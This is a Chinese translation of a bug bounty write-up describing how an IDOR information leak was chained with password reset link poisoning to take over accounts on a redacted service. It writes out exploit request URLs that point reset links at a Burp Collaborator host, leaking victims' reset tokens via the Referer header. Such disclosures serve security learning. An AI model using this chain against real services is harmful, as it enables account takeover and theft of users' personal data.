在挖掘目标 Web 应用程序漏洞时,一项有用的检查是通过waybackmachine:https://archive.org/web/来发现目标上一段时间内存在的 URL。这些可能会暴露关键功能,然后可以测试这些功能是否存在错误。我正在寻找的一个漏洞赏金目标恰好就是这种情况。
用户可以通过以下端点重置其帐户密码。https://api.redacted.com/v3/users/[email protected]
在进行信息收集时,我喜欢使用工具waybackurls:https://github.com/tomnomnom/waybackurls 自动执行查找 URL 的过程。搜索该工具的结果发现了密码重置端点的替代版本,其中包含一个有趣的参数(resetPasswordUrlPrefix)。
https://api.redacted.com/v3/users/[email protected]&resetPasswordUrlPrefix=https%3A%2F%web.archive.org%2Fsave%2F_embed%2Fhttps%3A%2F%2Faccounts.redacted.com%2Fmember%2Freset-password
另外值得注意的是,/v3/users/ 端点上没有访问控制,允许任何用户通过简单地更改请求中的email或handler参数来检索属于另一个用户的信息。(这两个参数可以互换)。
API端点泄露用户handle、email、ID、名字、姓氏
因此,在尝试弄清楚resetPasswordUrlPrefix参数的用法时,我想到了一个想法。如果我在重置帐户密码时从 burpcollaborator 中获取payload填入会怎么样?
https://api.redacted.com/v3/users/[email protected]&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password
发送请求后,我的 burpcollaborator 客户端中出现一些 DNS 和 HTTP 记录,密码重置令牌在header中的referer字段泄漏了。这些信息足以进行概念验证,因此是时候撰写报告了。
密码重置令牌在referer中泄露
我通过以下步骤展示漏洞利用过程;
在该程序上注册两个帐户进行测试,然后登录一个帐户。
向受影响的端点发出请求,将email或handle替换为受害者帐户的email或handle。
https://api.redacted.com/v3/users/[email protected]&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password
受害者帐户将收到带有攻击者域前缀的密码重置链接。
受害者帐户收到嵌入攻击者控制域的恶意链接
一旦受害者点击恶意链接,攻击者将收到对其域的请求,其中受害者的密码重置令牌在referer中可见。
攻击者在网页浏览器中加载密码重置链接,并为受害者账户设置新密码——完成账户接管。
以上内容由白帽子左一翻译并整理。原文:https://infosecwriteups.com/chaining-password-reset-link-poisoning-idor-account-information-leakage-to-achieve-account-bb5e0e400745
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):密码重置链接投毒、IDOR、信息泄露多个漏洞组合实现账户接管
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论